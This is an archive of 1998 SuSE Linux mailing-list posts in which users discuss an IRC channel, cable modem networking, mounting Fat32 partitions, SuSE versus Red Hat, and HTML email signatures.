Message-ID: <3592F85A.88EFACA4@home.com>
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What network is the server on?  It would probably be a good idea for you
to put an eggdrop on the channel for admin purposes.

Subba Rao wrote:
> 
> I created a #suse-linux channel on  irc.cs.rpi.edu server. The channel
> is not operated by a bot.
> The server does not accept bots. I will stay the channel as long as I
> can. Hopefully SuSE Linux
> users will start showing up in that channel.
> 
> Please join in and show some support.
> 
> Thanks.
> 
> SubbaRao
> subb3(a)ibm.net
>
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From subb3@ibm.net Fri Jun 26 01:39:34 1998
From: subb3@ibm.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] IRC channel
Date: Thu, 25 Jun 1998 21:39:34 -0400
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The server is on EFNET. What is an eggdrop?

SubbaRao

Michael Lankton wrote:

> What network is the server on?  It would probably be a good idea for you
> to put an eggdrop on the channel for admin purposes.
>
> Subba Rao wrote:
> >
> > I created a #suse-linux channel on  irc.cs.rpi.edu server. The channel
> > is not operated by a bot.
> > The server does not accept bots.

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From mwagnon@ixpres.com Fri Jun 26 01:42:51 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Cable Modem and Linux (was Re: [S.u.S.E. Linux] Diald)
Date: Thu, 25 Jun 1998 18:42:51 -0700
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Michael Lankton wrote:

> BTW, it's nice to be back.  I was offline for several days, but now I'm
> back, and with bandwidth to spare.  Setting up a cable modem in linux
> can be done blindfolded, in fact, I would say it was easier than doing
> it in windows. =20

I noticed you hadn't been posting. I always look forward to your
posts...lots of great info!

> I downloaded a 12mb file off sunsite last night at
> 475k/sec (woohoo!), although it's usually around 70k/sec.  I recommend
> cable heartily if it's available where you live, it's faster than the t1

A cable modem would be choice! I've put off getting one because I
haven't had the time to read up on how to get it going. I'd like to get
a cable modem and network my two computers, one running linux, the other
running windows, so that I can have the cable modem installed on my
linux machine and still be able to access the internet on the windows
machine. Is this possible (BTW, I'm not very network savvy)?

 If anyone has any insight into the
> security issues regarding cable modems and any preventative measures, I
> would appreciate the feedback.

I subscribe to my local LUG's mail list and a lot of these guys have
cable modems. They're always posting about security issues and such. You
might want to check the site out (http://www.kernel-panic.com>).=
 I
believe they just added an archives section of the list.

Mark
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From satan3@home.com Fri Jun 26 01:56:18 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] IRC channel
Date: Thu, 25 Jun 1998 20:56:18 -0500
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Subba Rao wrote:
> 
> The server is on EFNET. What is an eggdrop?
> 
an (the) ircbot, handy for holding a channel when you arent around and
opping you and your buddies, not very useful if you dont have a
dedicated connect
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From satan3@home.com Fri Jun 26 02:04:33 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: Cable Modem and Linux (was Re: [S.u.S.E. Linux] Diald)
Date: Thu, 25 Jun 1998 21:04:33 -0500
Message-ID: <359301B1.76647584@home.com>
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Mark Wagnon wrote:

> A cable modem would be choice! I've put off getting one because I
> haven't had the time to read up on how to get it going.=20

I got a DEC 21041 based card, because from the brief amount of research
I did it seemed the DEC tulip driver was a good choice for linux.  I
just compiled a fresh kernel with ethernet and DEC tulip support
compiled in, and IP accounting so I could run a network monitor in place
of the modem lights I was used to.  Then I set up my networking device
in YaST, and bam, I was online.  It was real easy.

>I'd like to get
> a cable modem and network my two computers, one running linux, the other
> running windows, so that I can have the cable modem installed on my
> linux machine and still be able to access the internet on the windows
> machine. Is this possible (BTW, I'm not very network savvy)?

My ethernet card accepts both 10baseT and 10Base2.  I was wondering
whether or not I could run 2 boxes off the same cable modem with the
cable modem connected to box A via 10baseT and box A connected to box B
via 10base2.  I suppose when I finally have enough spare parts to throw
another box together I'll be more serious about finding out.

> I subscribe to my local LUG's mail list and a lot of these guys have
> cable modems. They're always posting about security issues and such. You
> might want to check the site out (<=
A HREF=3D"http://www.kernel-panic.comhttp://www.kernel-panic.com>=
). I
> believe they just added an archives section of the list.

Thanks Mark, I'll go look.
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From hattons@cpkwebser5.ncr.disa.mil Fri Jun 26 02:13:57 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Thu, 25 Jun 1998 22:13:57 -0400
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Hey Folks,

Take a look at these articles in InfoWorld.:

http://www.infoworld.com/cgi-bin/displayStor=
y.pl?/interviews/980608torvalds.htm>

http://www.infoworld.com/cgi-bin/displayStory.pl?/=
mentor/980608mentors.htm>

http://www.infoworld.com/cgi-bin/displayStory.pl?/=
features/980608linux.htm>

http://www.infoworld.com/cgi-bin/displayStory.pl?/fe=
atures/980608free.htm>

Steve

--=20


Yo
Bill!  Doo-bee, doo-bee, doo.

THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which
no human invention can counterfeit or alter, that God speaketh universally
to man. - Thomas Paine,  _The Age of Reason_

[L]et [the charter] be brought forth placed on the divine law, the word
of God; let a crown be placed thereon, by which; the world may know, that
so far as we approve of monarchy, that in America the law is king.=20
- Thomas Paine, *Common Sense*, February 14th, 1776

=20

=20

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From kyle@binary.net Fri Jun 26 02:27:20 1998
From: kyle@binary.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Diald
Date: Thu, 25 Jun 1998 21:27:20 -0500
Message-ID: <35930708.27DBA53D@binary.net>
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Chris Herrnberger wrote:
> 
> Couldnt agree with you more.
> 
> ch
> 
> Roy Keeley wrote:
> >
> > DarkStar wrote:
> >
> > > The man page doesn't have examples, and I can't find a Diald
> > > help-to.
> >
> > Man, you are NEVER going to see examples in unix, they don't believe
> > in it. It is part of their "nerdy" rite of passage that they make you
> > pass, before you learn Linux. That is part of the reason why
> > Microstuff keeps beating the pants off of Linux, when it should be
> > other way around.    Those few times when a Linux or Unix author gives
> > you an example, it will look like a diamond out there. You will feel
> > like you just discovered something new. Gads, this attitude has got to
> > change. Sorry everyone, I just had to sound off.

Did either of you happen to check out the man diald-examples?  It is
referenced in the diald man.  Maybe you just need to look a little
further to find the diamonds.  There is also a faq on the internet about
diald.  Did you check your favorite internet search engine for more
information?  It's all out there just look a little further.
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From nelsen@telusplanet.net Fri Jun 26 02:29:39 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Printing Install Manual
Date: Thu, 25 Jun 1998 20:29:39 -0600
Message-ID: <98Jun25.201054-0600_mdt.268105-7401+34@mail.telusplanet.net>
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At 6/25/1998, you wrote:
>
>
>Dave.=20
>
>I'm in the process of converting it to HTML - it's not quite ready for
>prime time.
>
>	http://home1.gte.net/henryw/suse/inde=
x.html>
>
......
>--
>Henry White

Oh thank you master!

dn
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From jjs@toyota.com Fri Jun 26 02:45:32 1998
From: jjs@toyota.com
To: users@lists.opensuse.org
Subject: Re: Cable Modem and Linux (was Re: [S.u.S.E. Linux] Diald)
Date: Thu, 25 Jun 1998 19:45:32 -0700
Message-ID: <35930B4C.EEE3F1EC@toyota.com>
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Mark Wagnon wrote:

> A cable modem would be choice! I've put off getting one because I
> haven't had the time to read up on how to get it going. I'd like to get
> a cable modem and network my two computers, one running linux, the other
> running windows, so that I can have the cable modem installed on my
> linux machine and still be able to access the internet on the windows
> machine. Is this possible (BTW, I'm not very network savvy)?

Can do -

I have a Linux box connected to the cable modem, and 2 macs and 2
linux boxes on an internal network connected to the internet through
the firewall box. We usually have a 1 or 2 playing quake and the rest
using netscape or ICQ...

>  If anyone has any insight into the
> > security issues regarding cable modems and any preventative measures, I
> > would appreciate the feedback.

IP Masq is very secure, since it is impossible for an outsider to
reach any of the inside systems. To be safe, I've turned off a lot of
unneccessary services on my firewall box and allow external access
only through ssh or ftp.

jjs


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From hattons@cpkwebser5.ncr.disa.mil Fri Jun 26 02:50:28 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] FYI Linus Trovalds in InfoWorld
Date: Thu, 25 Jun 1998 22:50:28 -0400
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Hey Folks,

Take a look at these articles in InfoWorld.:

http://www.infoworld.com/cgi-bin/displayStor=
y.pl?/interviews/980608torvalds.htm>

http://www.infoworld.com/cgi-bin/displayStory.pl?/=
mentor/980608mentors.htm>

http://www.infoworld.com/cgi-bin/displayStory.pl?/=
features/980608linux.htm>

http://www.infoworld.com/cgi-bin/displayStory.pl?/fe=
atures/980608free.htm>

Steve

--


Yo
Bill!  Doo-bee, doo-bee, doo.

THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which
no human invention can counterfeit or alter, that God speaketh universally
to man. - Thomas Paine,  _The Age of Reason_

[L]et [the charter] be brought forth placed on the divine law, the word
of God; let a crown be placed thereon, by which; the world may know, that
so far as we approve of monarchy, that in America the law is king.=20
- Thomas Paine, *Common Sense*, February 14th, 1776

=20

  =20

3D"GIF


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From leonmcclatchey@homemail.com Fri Jun 26 03:42:22 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Thu, 25 Jun 1998 22:42:22 -0500
Message-ID: <3593189D.C7BE2D0F@homemail.com>
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Steven T. Hatton wrote:




Yo
Bill!  Doo-bee, doo-bee, doo.

 

How did you get this image and counter registration in your email?=20
I just recently registered myself, but can't find the image (though I do
know my number:-)  and would like to append it to my signature?

Thanx Loads:-)

--=20
cya l8r
Leon McClatchey
leonmcclatchey(a)homemail.com
(Linux Box)

=20

3D"GIF


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From hattons@cpkwebser5.ncr.disa.mil Fri Jun 26 03:44:21 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Thu, 25 Jun 1998 23:44:21 -0400
Message-ID: <35931915.B0F964C2@cpkwebser5.ncr.disa.mil>
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Howard Arons wrote:



NOT true, in my (limited, newbie) experience. The manual really pertains,

at least in part, to versions older that 5.2. Of equal concern is the

quality of the German -> English translation. Sometimes it's just funny

but clear, but other times there's no hope of getting the meaning intende=
d.

Technical support is poor to nonexistent, except for the folks (SuSE
and

others) on this list. Phone support isn't toll free (in the US) and
is only

available on Tue and Fri. E-mail support has not worked for me 2 out
of 2

times.



Howard Arons

--

Powered by SuSE Linux 5.2 -- kernel 2.0.33

Communications by Mutt 0.89

-

Howard,

Well, since I am usually the one to be posting about things I don't
like, I guess I should take a moment to comment on what I do like.=20
When I first got 5.1, I called the tech support number and found that they
were available only during limited hours on Thursday.  I bled all
over the ppp setup until tech support Thursday.  I got through to
a guy who's english was almost exactly like that in the book.  He
got me fixed up and on my way in a matter of minutes.  I expect that
thier tech support will grow as the company grows.  It is important
that they grow with an eye toward maintaining quality.  I have had
other problems that I found overwhelming.  These I have directed to
this list.  For the really important things I have received very good
answers, in a timely manner.  There are a few smaller issues that
have gone unresolved.

I have found that as I learn more about Linux, I find experts here who
know that much more than I.  It is certainly this list that keeps
me on the S.u.S.E. subscription list.  I don't mind paying the money
for the distribution.  I believe it helps S.u.S.E. and Linux grow.=20
If I remember correctly I have been using Linux for four months.=20
I have an NT boot on this system that I rarely use anymore.  When
I port Mathematica over, and find an office product that is extensively
compatible with M$ Office, I may slick the wasted NT partition and
put it to good use.

The book could certainly benefit from the hand of a professional tech
writer.  It has been useful in many instances.  I have found
a few problems with XFree86, but overall I find this product amazingly
well put together.  When I find things I don't like I say so.=20
I am nowhere near regretting the money that I have paid to S.u.S.E.=20
I am sure they will improve the product as thier resources grow.=20
If you look at the post I made a few hours before this one and read the
stuff on InfoWorld's site, you will see that S.u.S.E. gets a very good
thumbs up.  This product is a winner and I'm happy to be associated
with it.

steve

=20

--=20


Yo
Bill!  Doo-bee, doo-bee, doo.

THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which
no human invention can counterfeit or alter, that God speaketh universally
to man. - Thomas Paine,  _The Age of Reason_

[L]et [the charter] be brought forth placed on the divine law, the word
of God; let a crown be placed thereon, by which; the world may know, that
so far as we approve of monarchy, that in America the law is king.=20
- Thomas Paine, *Common Sense*, February 14th, 1776

=20

=20

3D"GIF


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From hattons@cpkwebser5.ncr.disa.mil Fri Jun 26 03:48:33 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] S.u.S.E. mailing list problems
Date: Thu, 25 Jun 1998 23:48:33 -0400
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I have had a few messages bounce with the following header:

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Does this mean anything to anybody?

Steve

--=20


Yo
Bill!  Doo-bee, doo-bee, doo.

THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which
no human invention can counterfeit or alter, that God speaketh universally
to man. - Thomas Paine,  _The Age of Reason_

[L]et [the charter] be brought forth placed on the divine law, the word
of God; let a crown be placed thereon, by which; the world may know, that
so far as we approve of monarchy, that in America the law is king.=20
- Thomas Paine, *Common Sense*, February 14th, 1776

=20

=20

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From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] S.u.S.E. mailing list problems
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Does this mean anything to anybody?

Steve


--

[Image]  Yo Bill!  Doo-bee, doo-bee, doo.

THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which
no human invention can counterfeit or alter, that God speaketh
universally to man. - Thomas Paine,  _The Age of Reason_

[L]et [the charter] be brought forth placed on the divine law, the word
of God; let a crown be placed thereon, by which; the world may know,
that so far as we approve of monarchy, that in America the law is king.
- Thomas Paine, *Common Sense*, February 14th, 1776

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From schullersite@NOSPAMworldnet.att.net.suse.de Fri Jun 26 04:19:08 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Thu, 25 Jun 1998 23:19:08 -0500
Message-ID: <3593213C.108B51C4@NOSPAMworldnet.att.net>
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Steven T. Hatton wrote:

> 
> I have found that as I learn more about Linux, I find experts here who
> know that much more than I.  It is certainly this list that keeps me
> on the S.u.S.E. subscription list.  I don't mind paying the money for
> the distribution.  I believe it helps S.u.S.E. and Linux grow.  If I
> remember correctly I have been using Linux for four months.  I have an
> NT boot on this system that I rarely use anymore.  When I port
> Mathematica over, and find an office product that is extensively
> compatible with M$ Office, I may slick the wasted NT partition and put
> it to good use.

$35 for 600MB worth of apps and documentation?  The best Linux deal I've
found.  And, unlike Red Hat, they're not releasing the errata, patches
and bug fixes the day after they release the distribution.  Finally, the
pamphlet they include with Red Hat is no match for the SuSE book, even
if the English is broken in places.

I realize I'm preaching to the choir, but I was a newbie as recently as
a few months ago, and after trying two Red Hat distributions before
moving to SuSE, I've never needed to call tech support.  The NG's, Web
sites, and mailing lists covered everything I needed to know.  Of
course, 900f that info is in glowing detail either in comment lines in
the various .rc files, HOWTO's, or man pages.

Ken


-- 

Ken Schuller

Network Systems Specialist

NovaNET Learning, Inc.

 Take out the spam foil to reply via e-mail. 

Incidentally, I speak for me.  That's all.  No one else.

Linux-  the best things in life are free! (Or at least GPL'ed...)
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From squeegy@usaor.net Fri Jun 26 04:32:36 1998
From: squeegy@usaor.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 00:32:36 -0400
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Hello suse users,

I am a current redhat 5.0 user and have been debating changing over to suse
I have been using linux since the days of the 1.2 kernel.  I started with=20
slackware and switched to RH5.0 last December.  I have been mostly happy with
RH5.0 and considered upgrading to RH5.1, but the rh list has been filled with=
 woes of upgrading.  I have heard good things about suse.  that is why I join=
ed
this list.  I wanted to get a feel for the number and kinds of problems suse =
users are encountering.  I am trying to pick the best distribution for my hom=
e, but also for work.  we are considering changing our internet server from s=
co to
linux.  any former rh 5.0 users out there?  what are your opinions of suse?
any opinions are welcome.  thanks.

___________________

Jt

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From hattons@cpkwebser5.ncr.disa.mil Fri Jun 26 04:46:15 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Fri, 26 Jun 1998 00:46:15 -0400
Message-ID: <35932793.AF49221B@cpkwebser5.ncr.disa.mil>
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Leon McClatchey wrote:

 Steven T. Hatton wrote:


Yo
Bill!  Doo-bee, doo-bee, doo.

 

How did you get this image and counter registration in your email?=20
I just recently registered myself, but can't find the image (though I do
know my number:-)  and would like to append it to my signature?

Thanx Loads:-)

--=20
cya l8r
Leon McClatchey
leonmcclatchey(a)homemail.com
(Linux Box)



Leon,

I recieved an e-mail back form my registration.  It contained a
web address and a user key which I used to access my record.  At the
top of that record I found the image.   I right clicked and saved
the image. I then used the Netscape Composer to create an HTML file which
I stored as a signature file (siglinux.txt).  I then pointed my Communicator
to that file under Edit | Preferences | Mail & Groups | Identity.=20
I found that I need to give an explicit path in the immage properties in
order to make it work.

It would appear that you are using an HTML enabled mail client.=20
For folks without html clients this may come across as garbage.  I
hope it doesn't present them with too much consternation.  I say they
need to get with the 21st century. :-)  If people do gripe a lot,
well I guess I'll get rid of it.

Steve

3D"GIF


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From s.brennan@bigpond.com Fri Jun 26 04:57:51 1998
From: s.brennan@bigpond.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Mounting Fat32 Partitions **URGENT PLS**
Date: Fri, 26 Jun 1998 14:57:51 +1000
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Ok,

        Let me set the scene. I have SuSe 5.2 installed, I have also snagged a
copy of the updated kernel (2.0.24) from the suse ftp site but I have not
compiled it yet. Does anyone know how I would mount a Fat32 Partition
please.

Cheers
Stephen Brennan
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From dana@ntd.net Fri Jun 26 05:05:08 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 00:05:08 -0500
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squeegy wrote:



> any former rh 5.0 users out there?  what are your opinions of suse?

I'm quite happy with my move over to SuSE 5.1 from RH 5.0,
although I don't have anything real negative to say about
RH, (minus disk druid) the move to SuSE was a good thing.

I've used SCO, ESIX, Xenix and a old pre-1.0 of Caldara
and then went to OS/2 for quite awhile.  Then came DOS
Windows 3.x, 95, and NT.  I just got back into the U*ix
os with RH in March, and switched to SuSE in April.
I'm very happy, although the initial brain fry from
reading everything I could get my hands on, (including
the sendmail book from O'Reily) was a tad bit stressing.
;-)

Ahhh, life is good!  Tonight I just got Wine working,
previous week was a DNS server and qmail. (amazing
how much one "." can screw you up with DNS!)  Next
is xboing. (ya can't work ALL the time!)

Dana
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From COREVIPER@aol.com Fri Jun 26 05:05:33 1998
From: COREVIPER@aol.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Help
Date: Fri, 26 Jun 1998 01:05:33 -0400
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I am a newbie. I just bought SUSE 5.2, its great, I installed it but I am
having problems configuring my mouse in XF86Setup; none of the  dev/?? seem to
work.
It is a Microsoft Serial Mouse 2.0A (they stop making them in 93 I believe.)
Set at com 1.  Second, how do I make a lilo bootdisk from linux.
Thanks
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From deem@wdm.com Fri Jun 26 05:18:17 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Thu, 25 Jun 1998 21:18:17 -0800
Message-ID: <199806260518.VAA00719@wdm.com>
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squeegy  wrote:
>=20
> Hello suse users,
>=20
> I am a current redhat 5.0 user and have been debating changing over to suse
> I have been using linux since the days of the 1.2 kernel.  I started with=20
> slackware and switched to RH5.0 last December.  I have been mostly happy wi=
th
> RH5.0 and considered upgrading to RH5.1, but the rh list has been filled wi=
th woes of upgrading.  I have heard good things about suse.  that is why I jo=
ined
> this list.  I wanted to get a feel for the number and kinds of problems sus=
e users are encountering.  I am trying to pick the best distribution for my h=
ome, but also for work.  we are considering changing our internet server from=
 sco to
> linux.  any former rh 5.0 users out there?  what are your opinions of suse?
> any opinions are welcome.  thanks.
>=20
>=20

I qualify for a former RH user since I used RH since 2.0 thru 5.0/5.1.
Please do not start a RH vs.SuSE e-mail bomb on this list though, as that's
not what this list or redhat-list is about.

SuSE has it's issues as other Linux versions. It also has advatages
but there relative to the user as all versions of Linux has adavatges.

For the price, buy a copy of 5.1 or wait for the glibc version coming out,
but either way it's a different version than RH or the others, and=20
will speak for it itself.

Personally, I have no issues at all, as it works to good to complain.

Regards
-Dee

=20

W.D.McKinney (Dee) -=3D- deem(a)wdm.com
No claim to fame, just saved by Grace.
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From tanc@cuug.ab.ca Fri Jun 26 05:38:50 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Thu, 25 Jun 1998 23:38:50 -0600
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Steve,

I know that there is a version of Mathematica for Linux available.  For
office suite, you may want to take a look at ApplixWare or StarOffice or
WordPerfect Office.  I have ApplixWare installed on one of my machines for
a few users but I don't use it myself -- I use LaTeX.

Regards,
C. J. Tan

On Thu, 25 Jun 1998, Steven T. Hatton wrote:

> Howard Arons wrote:
>=20
> > 
> >
> > NOT true, in my (limited, newbie) experience. The manual really pertains,
> > at least in part, to versions older that 5.2. Of equal concern is the
> > quality of the German -> English translation. Sometimes it's just funny
> > but clear, but other times there's no hope of getting the meaning intende=
d.
> >
> > Technical support is poor to nonexistent, except for the folks (SuSE and
> > others) on this list. Phone support isn't toll free (in the US) and is on=
ly
> > available on Tue and Fri. E-mail support has not worked for me 2 out of 2
> > times.
> >
> > 
> >
> > Howard Arons
> > --
> > Powered by SuSE Linux 5.2 -- kernel 2.0.33
> > Communications by Mutt 0.89
> > -
>=20
> Howard,
>=20
> Well, since I am usually the one to be posting about things I don't like, I
> guess I should take a moment to comment on what I do like.  When I first got
> 5.1, I called the tech support number and found that they were available on=
ly
> during limited hours on Thursday.  I bled all over the ppp setup until tech
> support Thursday.  I got through to a guy who's english was almost exactly
> like that in the book.  He got me fixed up and on my way in a matter of
> minutes.  I expect that thier tech support will grow as the company grows. =
 It
> is important that they grow with an eye toward maintaining quality.  I have
> had other problems that I found overwhelming.  These I have directed to this
> list.  For the really important things I have received very good answers, i=
n a
> timely manner.  There are a few smaller issues that have gone unresolved.
>=20
> I have found that as I learn more about Linux, I find experts here who know
> that much more than I.  It is certainly this list that keeps me on the
> S.u.S.E. subscription list.  I don't mind paying the money for the
> distribution.  I believe it helps S.u.S.E. and Linux grow.  If I remember
> correctly I have been using Linux for four months.  I have an NT boot on th=
is
> system that I rarely use anymore.  When I port Mathematica over, and find an
> office product that is extensively compatible with M$ Office, I may slick t=
he
> wasted NT partition and put it to good use.
>=20
> The book could certainly benefit from the hand of a professional tech write=
r.
> It has been useful in many instances.  I have found a few problems with
> XFree86, but overall I find this product amazingly well put together.  When=
 I
> find things I don't like I say so.  I am nowhere near regretting the money
> that I have paid to S.u.S.E.  I am sure they will improve the product as th=
ier
> resources grow.  If you look at the post I made a few hours before this one
> and read the stuff on InfoWorld's site, you will see that S.u.S.E. gets a v=
ery
> good thumbs up.  This product is a winner and I'm happy to be associated wi=
th
> it.
>=20
> steve
>=20
>=20
> --
>=20
> [Image]  Yo Bill!  Doo-bee, doo-bee, doo.
>=20
> THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which no
> human invention can counterfeit or alter, that God speaketh universally to
> man. - Thomas Paine,  _The Age of Reason_
>=20
> [L]et [the charter] be brought forth placed on the divine law, the word of
> God; let a crown be placed thereon, by which; the world may know, that so f=
ar
> as we approve of monarchy, that in America the law is king.  - Thomas Paine,
> *Common Sense*, February 14th, 1776
>=20
>=20
>=20

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From cbebber@infinet-is.com Fri Jun 26 07:17:56 1998
From: cbebber@infinet-is.com
To: users@lists.opensuse.org
Subject: Re: Cable Modem and Linux (was Re: [S.u.S.E. Linux] Diald)
Date: Fri, 26 Jun 1998 00:17:56 -0700
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On Thu 25 Jun at 21:04:33 -0500 satan3(a)home.com done said:
>=20
> I got a DEC 21041 based card, because from the brief amount of research
> I did it seemed the DEC tulip driver was a good choice for linux.  I
> just compiled a fresh kernel with ethernet and DEC tulip support
> compiled in, and IP accounting so I could run a network monitor in place
> of the modem lights I was used to.  Then I set up my networking device
> in YaST, and bam, I was online.  It was real easy.

So where did you pick up this little feller?  Did you get it online via like
a pricewatch.com-esque site or what?  And if you don't mind me asking, how
much did it end up running you?  (You don't have to answer that if you don't
want).  (Hell, I guess you don't have to answer ANY of those if you don't
want!) :)

-Charlie


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From fmiller@lightlink.com Fri Jun 26 07:21:02 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Fri, 26 Jun 1998 03:21:02 -0400
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C. J. Kenneth Tan wrote:
> 
> Steve,
> 
> I know that there is a version of Mathematica for Linux available.  For
> office suite, you may want to take a look at ApplixWare or StarOffice or
> WordPerfect Office.  I have ApplixWare installed on one of my machines for
> a few users but I don't use it myself -- I use LaTeX.

[snip]

If you ever use StarOffice, you'll never use anything else again.  I
bought the distribution......WELL worth it!  I'm moving in the direction
of removing ALL MS from our systems at work, and StarOffice will replace
MS Office.

Fred


-- 
Fred A. Miller, Systems Administrator
Cornell Univ. Press Services
fmiller(a)lightlink.com
fm(a)cupserv.org
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From weissel@jupiter.ph-cip.uni-koeln.de Fri Jun 26 07:31:05 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Mount Fat32 Partitions
Date: Fri, 26 Jun 1998 09:31:05 +0200
Message-ID: <19980626093105.J22238@Tiger.uni-koeln.de>
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Hi!

Trying to kill the keyboard, roberto(a)cbvcp.com produced:
> >         I have S.u.S.e 5.2 and I really would like to be able to mount a =
friends
> > Fat32 partition when he comes round. I have the updated kernel (2.0.34)

> existing directory under root).  for the type of partition, select
> vfat.  reboot, and it's there.

I assume that you are right that vfat will deal with fat32 here ...=20

as root:
create a mountpoint (unless always you want to use /mnt), I'll call it
FAT32 here.
        mkdir /FAT32

et permissions (should be automatic, but to be sure)
        chmod 755 /FAT32

mount the partition: (/dev/whatever is the device, e.g. /dev/sda4
(SCSI-ZIP, primary partition 4 -- that's the default for preformatted
ones)
        mount -tvfat /dev/whatever /FAT32

If you want to make it more permanent (or let users do the mount or ...)
just edit /etc/fstab, add a line:

/dev/whatever   /FAT32  vfat    noauto,user     0       0
   ^              ^      ^          ^           ^       ^
 Device     mountpoint   |   don't mount at     |  (parallel) fsck order=20
                         |   boot, users may    |  (at boot), 0 =3D don't
                         |   mount it           |
                 Filesystem-type             dump-frequency

(Dump is a backup-program)
(for more info, see man fstab)

Then any user can mount the drive with=20
        mount FAT32
or	mount /dev/whatever

No need to reboot!

-Wolfgang


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From s.brennan@bigpond.com Fri Jun 26 08:07:16 1998
From: s.brennan@bigpond.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 18:07:16 +1000
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Hi There,

        I Had nothing but troubles from Redhat 5.1 even when I got RedHat 5.0=
 to
work I had one problem or another pop up ever few days with configuration.
I have used SlackWare, RH, adn Debian. S.u.S.e blew my mind, after hearing
it mentioned around the place I decided to grab a copy and I have to say,
IT BLEW ME AWAY. Not only was it easier to install (in my opinion) than RH
but it did not sacrifice performance or features. It retains the usability
for newer user with the use of RH with the RPM format but still packs the
same punch of more powerful distributions such as Debian and Slakware which
are leaner and meaner than RH.

        Mind you, I dont dis-lick RH, infact they are giving Linux a good nam=
e to
the general public and I know more and more friends and collegues are
talking about going to linux but in all honesty S.u.S.e has just soo many
advantages and I feel that its installation is easier and more powerful
that the RH pachages.

Cheers All
Stephen Brennan

P.S: CAN SOME1 **PLEASE** tell me how to mount Fat32 partitions including
any patches I might need to apply I am running SuSe 5.2 and I have the
pre-patched Suse 2.0.34 kernel

----------
> From: squeegy 
> To: S.U.S.E. 
> Subject: [S.u.S.E. Linux] thinking about suse
> Date: Friday, 26 June 1998 2:32 pm
>=20
>=20
> Hello suse users,
>=20
> I am a current redhat 5.0 user and have been debating changing over to
suse
> I have been using linux since the days of the 1.2 kernel.  I started with

> slackware and switched to RH5.0 last December.  I have been mostly happy
with
> RH5.0 and considered upgrading to RH5.1, but the rh list has been filled
with woes of upgrading.  I have heard good things about suse.  that is why
I joined
> this list.  I wanted to get a feel for the number and kinds of problems
suse users are encountering.  I am trying to pick the best distribution for
my home, but also for work.  we are considering changing our internet
server from sco to
> linux.  any former rh 5.0 users out there?  what are your opinions of
suse?
> any opinions are welcome.  thanks.
>=20
>=20
>=20
> ___________________
>=20
> Jt
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From weissel@jupiter.ph-cip.uni-koeln.de Fri Jun 26 08:31:56 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Fri, 26 Jun 1998 10:31:56 +0200
Message-ID: <19980626103156.B30164@Tiger.uni-koeln.de>
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Hi!

Trying to kill the keyboard, hattons(a)CPKWEBSER5.ncr.disa.mil produced:

> It would appear that you are using an HTML enabled mail client.  For
> folks without html clients this may come across as garbage.  I hope it
> doesn't present them with too much consternation.  I say they need to
> get with the 21st century. :-)  If people do gripe a lot, well I guess
> I'll get rid of it.

With the same argument, you are accepting bloated, incompatible M$ word
files, Office97 and so on! Or are you?

While I do not care about what 2 consenting adults/computers/email
programs do to each other, I DO prefer good old ASCII. Yes, my mail
program does cooperate with browsers to show me the crap on request,
but using HTML as a default (especially when no info is in there that
could not be conveyed by ASCII) is as useful as driving a 10-ton truck
all the time, no matter if you are moving or just sightseeing. That's a
pretty inconvenient way to do things, a Window'ish way, if you ask me!

Oh, remember people can only judge you by your mails & Co, and if they
come across as garbage ... 

-Wolfgang, triggered by HTML mails to lists.


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From marc_bouron@hotmail.com Fri Jun 26 11:18:10 1998
From: marc_bouron@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 11:18:10 +0000
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>Hello suse users,
>
>I am a current redhat 5.0 user and have been debating changing over to=20
suse
>I have been using linux since the days of the 1.2 kernel.  I started=20
